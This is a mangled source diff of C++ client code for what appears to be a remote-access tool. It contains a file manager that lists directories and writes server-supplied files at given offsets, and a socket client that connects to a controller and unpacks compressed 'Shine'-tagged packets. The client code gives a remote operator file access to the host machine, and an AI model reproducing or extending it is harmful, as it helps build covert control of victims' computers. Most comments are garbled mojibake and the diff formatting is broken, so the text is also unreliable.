VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
BYTE *Travel;
|
||||||
|
DWORD dwNumberOfBytesToWrite = 0;
|
||||||
|
DWORD dwNumberOfBytesWirte = 0;
|
||||||
|
int nHeadLength = 9; // 1 + 4 + 4 <20><><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>С<EFBFBD><D0A1>Ϊ<EFBFBD>̶<EFBFBD><CCB6><EFBFBD>9
|
||||||
|
FILE_SIZE *FileSize;
|
||||||
|
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݵ<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
|
Travel = szBuffer + 8;
|
||||||
|
|
||||||
|
FileSize = (FILE_SIZE *)szBuffer;
|
||||||
|
|
||||||
|
// <20>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>е<EFBFBD>ƫ<EFBFBD><C6AB>
|
||||||
|
|
||||||
|
LONG dwOffsetHigh = FileSize->dwSizeHigh;
|
||||||
|
LONG dwOffsetLow = FileSize->dwSizeLow;
|
||||||
|
|
||||||
|
dwNumberOfBytesToWrite = ulLength - 8;
|
||||||
|
|
||||||
|
HANDLE hFile =
|
||||||
|
CreateFile
|
||||||
|
(
|
||||||
|
m_szOperatingFileName,
|
||||||
|
GENERIC_WRITE,
|
||||||
|
FILE_SHARE_WRITE,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0
|
||||||
|
);
|
||||||
|
|
||||||
|
SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
|
||||||
|
|
||||||
|
int iRet = 0;
|
||||||
|
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||||
|
iRet = WriteFile
|
||||||
|
(
|
||||||
|
hFile,
|
||||||
|
Travel,
|
||||||
|
dwNumberOfBytesToWrite,
|
||||||
|
&dwNumberOfBytesWirte,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
CloseHandle(hFile);
|
||||||
|
BYTE bToken[9];
|
||||||
|
bToken[0] = TOKEN_DATA_CONTINUE;//TOKEN_DATA_CONTINUE
|
||||||
|
dwOffsetLow += dwNumberOfBytesWirte; //
|
||||||
|
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
|
||||||
|
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath)
|
||||||
|
{
|
||||||
|
char* szTravel = NULL;
|
||||||
|
char* szBuffer = NULL;
|
||||||
|
DWORD dwAttributes;
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1));
|
||||||
|
|
||||||
|
if(szBuffer == NULL)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
strcpy(szBuffer, szDirectoryFullPath);
|
||||||
|
|
||||||
|
szTravel = szBuffer;
|
||||||
|
|
||||||
|
if (0)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
else if(*(szTravel+1) == ':')
|
||||||
|
{
|
||||||
|
szTravel++;
|
||||||
|
szTravel++;
|
||||||
|
if(*szTravel && (*szTravel == '\\'))
|
||||||
|
{
|
||||||
|
szTravel++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
while(*szTravel) //\Hello\World\Shit\0
|
||||||
|
{
|
||||||
|
if(*szTravel == '\\')
|
||||||
|
{
|
||||||
|
*szTravel = '\0';
|
||||||
|
dwAttributes = GetFileAttributes(szBuffer); //<2F>鿴<EFBFBD>Ƿ<EFBFBD><C7B7>Ƿ<EFBFBD>Ŀ¼ Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if(dwAttributes == 0xffffffff)
|
||||||
|
{
|
||||||
|
if(!CreateDirectory(szBuffer, NULL))
|
||||||
|
{
|
||||||
|
if(GetLastError() != ERROR_ALREADY_EXISTS)
|
||||||
|
{
|
||||||
|
free(szBuffer);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY)
|
||||||
|
{
|
||||||
|
free(szBuffer);
|
||||||
|
szBuffer = NULL;
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
*szTravel = '\\';
|
||||||
|
}
|
||||||
|
|
||||||
|
szTravel = CharNext(szTravel);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
if (szBuffer!=NULL)
|
||||||
|
{
|
||||||
|
free(szBuffer);
|
||||||
|
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (szBuffer!=NULL)
|
||||||
|
{
|
||||||
|
free(szBuffer);
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG CFileManager::SendFilesList(char* szDirectoryPath)
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
||||||
|
m_ulTransferMode = TRANSFER_MODE_NORMAL;
|
||||||
|
ULONG ulRet = 0;
|
||||||
|
DWORD dwOffset = 0; // λ<><CEBB>ָ<EFBFBD><D6B8>
|
||||||
|
|
||||||
|
char *szBuffer = NULL;
|
||||||
|
ULONG ulLength = 1024 * 10; // <20>ȷ<EFBFBD><C8B7><EFBFBD>10K<30>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
szBuffer = (char*)LocalAlloc(LPTR, ulLength);
|
||||||
|
if (szBuffer==NULL)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
char szDirectoryFullPath[MAX_PATH];
|
||||||
|
|
||||||
|
wsprintf(szDirectoryFullPath, "%s\\*.*", szDirectoryPath);
|
||||||
|
|
||||||
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||||
|
WIN32_FIND_DATA wfd;
|
||||||
|
hFile = FindFirstFile(szDirectoryFullPath, &wfd);
|
||||||
|
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
BYTE bToken = TOKEN_FILE_LIST;
|
||||||
|
|
||||||
|
if (szBuffer!=NULL)
|
||||||
|
{
|
||||||
|
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
szBuffer = NULL;
|
||||||
|
}
|
||||||
|
return m_ClientObject->OnServerSending((char*)&bToken, 1); //·<><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
szBuffer[0] = TOKEN_FILE_LIST;
|
||||||
|
|
||||||
|
// 1 Ϊ<><CEAA><EFBFBD>ݰ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>ռ<EFBFBD>ֽ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
dwOffset = 1;
|
||||||
|
/*
|
||||||
|
<09>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1
|
||||||
|
<09>ļ<EFBFBD><C4BC><EFBFBD> strlen(filename) + 1 ('\0')
|
||||||
|
<09>ļ<EFBFBD><C4BC><EFBFBD>С 4
|
||||||
|
*/
|
||||||
|
do
|
||||||
|
{
|
||||||
|
// <20><>̬<EFBFBD><CCAC>չ<EFBFBD><D5B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (dwOffset > (ulLength - MAX_PATH * 2))
|
||||||
|
{
|
||||||
|
ulLength += MAX_PATH * 2;
|
||||||
|
szBuffer = (char*)LocalReAlloc(szBuffer,
|
||||||
|
ulLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
}
|
||||||
|
char* szFileName = wfd.cFileName;
|
||||||
|
if (strcmp(szFileName, ".") == 0 || strcmp(szFileName, "..") == 0)
|
||||||
|
continue;
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD> 1 <20>ֽ<EFBFBD>
|
||||||
|
|
||||||
|
//[Flag 1 HelloWorld\0<><30>С <20><>С ʱ<><CAB1> ʱ<><CAB1>
|
||||||
|
// 0 1.txt\0 <20><>С <20><>С ʱ<><CAB1> ʱ<><CAB1>]
|
||||||
|
*(szBuffer + dwOffset) = wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
|
||||||
|
dwOffset++;
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD> lstrlen(pszFileName) + 1 <20>ֽ<EFBFBD>
|
||||||
|
ULONG ulFileNameLength = strlen(szFileName);
|
||||||
|
memcpy(szBuffer + dwOffset, szFileName, ulFileNameLength);
|
||||||
|
dwOffset += ulFileNameLength;
|
||||||
|
*(szBuffer + dwOffset) = 0;
|
||||||
|
dwOffset++;
|
||||||
|
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD>С 8 <20>ֽ<EFBFBD>
|
||||||
|
memcpy(szBuffer + dwOffset, &wfd.nFileSizeHigh, sizeof(DWORD));
|
||||||
|
memcpy(szBuffer + dwOffset + 4, &wfd.nFileSizeLow, sizeof(DWORD));
|
||||||
|
dwOffset += 8;
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 8 <20>ֽ<EFBFBD>
|
||||||
|
memcpy(szBuffer + dwOffset, &wfd.ftLastWriteTime, sizeof(FILETIME));
|
||||||
|
dwOffset += 8;
|
||||||
|
} while(FindNextFile(hFile, &wfd));
|
||||||
|
|
||||||
|
ulRet = m_ClientObject->OnServerSending(szBuffer, dwOffset);
|
||||||
|
|
||||||
|
LocalFree(szBuffer);
|
||||||
|
FindClose(hFile);
|
||||||
|
return ulRet;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID CFileManager::GetFileData()
|
||||||
|
{
|
||||||
|
int nTransferMode;
|
||||||
|
switch (m_ulTransferMode) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Dz<EFBFBD><C7B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Case<73>е<EFBFBD>
|
||||||
|
{
|
||||||
|
case TRANSFER_MODE_OVERWRITE_ALL:
|
||||||
|
nTransferMode = TRANSFER_MODE_OVERWRITE;
|
||||||
|
break;
|
||||||
|
case TRANSFER_MODE_JUMP_ALL:
|
||||||
|
nTransferMode = TRANSFER_MODE_JUMP; //CreateFile<6C><65>always open<65><6E><EFBFBD><EFBFBD>eixt<78><74>
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
nTransferMode = m_ulTransferMode; //1. 2 3
|
||||||
|
}
|
||||||
|
|
||||||
|
WIN32_FIND_DATA wfa;
|
||||||
|
HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa);
|
||||||
|
|
||||||
|
//1<>ֽ<EFBFBD>Token,<2C><><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƹ<EFBFBD><C6B8><EFBFBD>λ<EFBFBD><CEBB><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD>ƫ<EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>λ
|
||||||
|
BYTE bToken[9];
|
||||||
|
DWORD dwCreationDisposition; // <20>ļ<EFBFBD><C4BC><EFBFBD>ʽ
|
||||||
|
memset(bToken, 0, sizeof(bToken));
|
||||||
|
bToken[0] = TOKEN_DATA_CONTINUE;
|
||||||
|
// <20>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (hFind != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD><EFBFBD>
|
||||||
|
if (nTransferMode == TRANSFER_MODE_OVERWRITE)
|
||||||
|
{
|
||||||
|
//ƫ<><C6AB><EFBFBD><EFBFBD>0
|
||||||
|
memset(bToken + 1, 0, 8);//0000 0000
|
||||||
|
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||||
|
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD>и<EFBFBD><D0B8><EFBFBD>
|
||||||
|
|
||||||
|
}
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
else if(nTransferMode == TRANSFER_MODE_JUMP)
|
||||||
|
{
|
||||||
|
DWORD dwOffset = -1; //0000 -1
|
||||||
|
memcpy(bToken + 5, &dwOffset, 4);
|
||||||
|
dwCreationDisposition = OPEN_EXISTING;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
memset(bToken + 1, 0, 8); //0000 0000 //û<><C3BB><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ߵ<EFBFBD><DFB5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
||||||
|
dwCreationDisposition = CREATE_ALWAYS; //<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD>
|
||||||
|
}
|
||||||
|
FindClose(hFind);
|
||||||
|
|
||||||
|
HANDLE hFile =
|
||||||
|
CreateFile
|
||||||
|
(
|
||||||
|
m_szOperatingFileName,
|
||||||
|
GENERIC_WRITE,
|
||||||
|
FILE_SHARE_WRITE,
|
||||||
|
NULL,
|
||||||
|
dwCreationDisposition, //
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0
|
||||||
|
);
|
||||||
|
// <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
m_OperatingFileLength = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
CloseHandle(hFile);
|
||||||
|
|
||||||
|
m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken));
|
||||||
|
}
|
||||||
44
client/FileManager.h
Normal file
44
client/FileManager.h
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
// FileManager.h: interface for the CFileManager class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||||
|
#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
DWORD dwSizeHigh;
|
||||||
|
DWORD dwSizeLow;
|
||||||
|
}FILE_SIZE;
|
||||||
|
|
||||||
|
class CFileManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
CFileManager(IOCPClient* ClientObject, int n);
|
||||||
|
virtual ~CFileManager();
|
||||||
|
|
||||||
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
ULONG CFileManager::SendDiskDriverList() ;
|
||||||
|
ULONG CFileManager::SendFilesList(char* szDirectoryPath);
|
||||||
|
VOID CFileManager::CreateClientRecvFile(LPBYTE szBuffer);
|
||||||
|
|
||||||
|
BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath);
|
||||||
|
char m_szOperatingFileName[MAX_PATH];
|
||||||
|
__int64 m_OperatingFileLength;
|
||||||
|
VOID CFileManager::GetFileData() ;
|
||||||
|
VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength);
|
||||||
|
|
||||||
|
ULONG m_ulTransferMode;
|
||||||
|
VOID CFileManager::SetTransferMode(LPBYTE szBuffer);
|
||||||
|
VOID CFileManager::Rename(char* szExistingFileFullPath,char* szNewFileFullPath);
|
||||||
|
};
|
||||||
|
|
||||||
|
#endif // !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_)
|
||||||
364
client/IOCPClient.cpp
Normal file
364
client/IOCPClient.cpp
Normal file
@@ -0,0 +1,364 @@
|
|||||||
|
// IOCPClient.cpp: implementation of the IOCPClient class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "IOCPClient.h"
|
||||||
|
#include <IOSTREAM>
|
||||||
|
#include "zconf.h"
|
||||||
|
#include "zlib.h"
|
||||||
|
#include <assert.h>
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
// Construction/Destruction
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
VOID IOCPClient::setManagerCallBack(class CManager* Manager)
|
||||||
|
{
|
||||||
|
m_Manager = Manager;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
IOCPClient::IOCPClient(bool exit_while_disconnect)
|
||||||
|
{
|
||||||
|
WSADATA wsaData;
|
||||||
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
|
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
m_hWorkThread = NULL;
|
||||||
|
m_bWorkThread = S_STOP;
|
||||||
|
|
||||||
|
memcpy(m_szPacketFlag,"Shine",FLAG_LENGTH);
|
||||||
|
|
||||||
|
m_bIsRunning = TRUE;
|
||||||
|
m_bConnected = FALSE;
|
||||||
|
|
||||||
|
InitializeCriticalSection(&m_cs);
|
||||||
|
m_exit_while_disconnect = exit_while_disconnect;
|
||||||
|
}
|
||||||
|
|
||||||
|
IOCPClient::~IOCPClient()
|
||||||
|
{
|
||||||
|
m_bIsRunning = FALSE;
|
||||||
|
|
||||||
|
if (m_sClientSocket!=INVALID_SOCKET)
|
||||||
|
{
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (m_hWorkThread!=NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(m_hWorkThread);
|
||||||
|
m_hWorkThread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
WSACleanup();
|
||||||
|
|
||||||
|
while (S_RUN == m_bWorkThread)
|
||||||
|
Sleep(10);
|
||||||
|
|
||||||
|
Sleep(5000);
|
||||||
|
|
||||||
|
DeleteCriticalSection(&m_cs);
|
||||||
|
|
||||||
|
m_bWorkThread = S_END;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL IOCPClient::ConnectServer(char* szServerIP, unsigned short uPort)
|
||||||
|
{
|
||||||
|
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
if (m_sClientSocket == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>sockaddr_in<69>ṹ Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˵Ľṹ
|
||||||
|
sockaddr_in ServerAddr;
|
||||||
|
ServerAddr.sin_family = AF_INET; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP
|
||||||
|
ServerAddr.sin_port = htons(uPort);
|
||||||
|
ServerAddr.sin_addr.S_un.S_addr = inet_addr(szServerIP);
|
||||||
|
|
||||||
|
if (connect(m_sClientSocket,(SOCKADDR *)&ServerAddr,sizeof(sockaddr_in)) == SOCKET_ERROR)
|
||||||
|
{
|
||||||
|
if (m_sClientSocket!=INVALID_SOCKET)
|
||||||
|
{
|
||||||
|
closesocket(m_sClientSocket);
|
||||||
|
m_sClientSocket = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
const int chOpt = 1; // True
|
||||||
|
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (setsockopt(m_sClientSocket, SOL_SOCKET, SO_KEEPALIVE,
|
||||||
|
(char *)&chOpt, sizeof(chOpt)) == 0)
|
||||||
|
{
|
||||||
|
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
|
||||||
|
tcp_keepalive klive;
|
||||||
|
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||||
|
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
|
||||||
|
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
|
||||||
|
WSAIoctl(m_sClientSocket, SIO_KEEPALIVE_VALS,&klive,sizeof(tcp_keepalive),
|
||||||
|
NULL, 0,(unsigned long *)&chOpt,0,NULL);
|
||||||
|
}
|
||||||
|
if (m_hWorkThread == NULL){
|
||||||
|
m_hWorkThread = (HANDLE)CreateThread(NULL, 0,
|
||||||
|
(LPTHREAD_START_ROUTINE)WorkThreadProc,(LPVOID)this, 0, NULL);
|
||||||
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
|
}
|
||||||
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ӷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳ɹ<EFBFBD>.\n";
|
||||||
|
m_bConnected = TRUE;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
|
||||||
|
{
|
||||||
|
IOCPClient* This = (IOCPClient*)lParam;
|
||||||
|
char szBuffer[MAX_RECV_BUFFER] = {0};
|
||||||
|
fd_set fd;
|
||||||
|
const struct timeval tm = { 2, 0 };
|
||||||
|
|
||||||
|
while (This->IsRunning()) // û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||||
|
{
|
||||||
|
if(!This->IsConnected())
|
||||||
|
{
|
||||||
|
Sleep(50);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
FD_ZERO(&fd);
|
||||||
|
FD_SET(This->m_sClientSocket, &fd);
|
||||||
|
int iRet = select(NULL, &fd, NULL, NULL, &tm);
|
||||||
|
if (iRet <= 0)
|
||||||
|
{
|
||||||
|
if (iRet == 0) Sleep(50);
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("[select] return %d, GetLastError= %d. \n", iRet, WSAGetLastError());
|
||||||
|
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if(This->m_exit_while_disconnect)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (iRet > 0)
|
||||||
|
{
|
||||||
|
memset(szBuffer, 0, sizeof(szBuffer));
|
||||||
|
int iReceivedLength = recv(This->m_sClientSocket,
|
||||||
|
szBuffer,sizeof(szBuffer), 0); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (iReceivedLength <= 0)
|
||||||
|
{
|
||||||
|
int a = GetLastError();
|
||||||
|
This->Disconnect(); //<2F><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if(This->m_exit_while_disconnect)
|
||||||
|
break;
|
||||||
|
}else{
|
||||||
|
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD>,ת<><D7AA>OnRead
|
||||||
|
This->OnServerReceiving((char*)szBuffer, iReceivedLength);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
This->m_bWorkThread = S_STOP;
|
||||||
|
This->m_bIsRunning = FALSE;
|
||||||
|
|
||||||
|
return 0xDEAD;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
assert (ulLength > 0);
|
||||||
|
//<2F><><EFBFBD>½ӵ<C2BD><D3B5><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>н<EFBFBD>ѹ<EFBFBD><D1B9>
|
||||||
|
m_CompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
|
||||||
|
{
|
||||||
|
char szPacketFlag[FLAG_LENGTH] = {0};
|
||||||
|
CopyMemory(szPacketFlag, m_CompressedBuffer.GetBuffer(),FLAG_LENGTH);
|
||||||
|
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
|
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
|
||||||
|
{
|
||||||
|
throw "Bad Buffer";
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG ulPackTotalLength = 0;
|
||||||
|
CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH),
|
||||||
|
sizeof(ULONG));
|
||||||
|
|
||||||
|
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||||
|
if (ulPackTotalLength &&
|
||||||
|
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||||
|
{
|
||||||
|
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||||
|
|
||||||
|
m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
ULONG ulOriginalLength = 0;
|
||||||
|
m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG));
|
||||||
|
|
||||||
|
//50
|
||||||
|
ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH;
|
||||||
|
PBYTE CompressedBuffer = new BYTE[ulCompressedLength];
|
||||||
|
PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength];
|
||||||
|
|
||||||
|
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
|
int iRet = uncompress(DeCompressedBuffer,
|
||||||
|
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||||
|
|
||||||
|
if (iRet == Z_OK)//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||||
|
{
|
||||||
|
m_DeCompressedBuffer.ClearBuffer();
|
||||||
|
m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer,
|
||||||
|
ulOriginalLength);
|
||||||
|
|
||||||
|
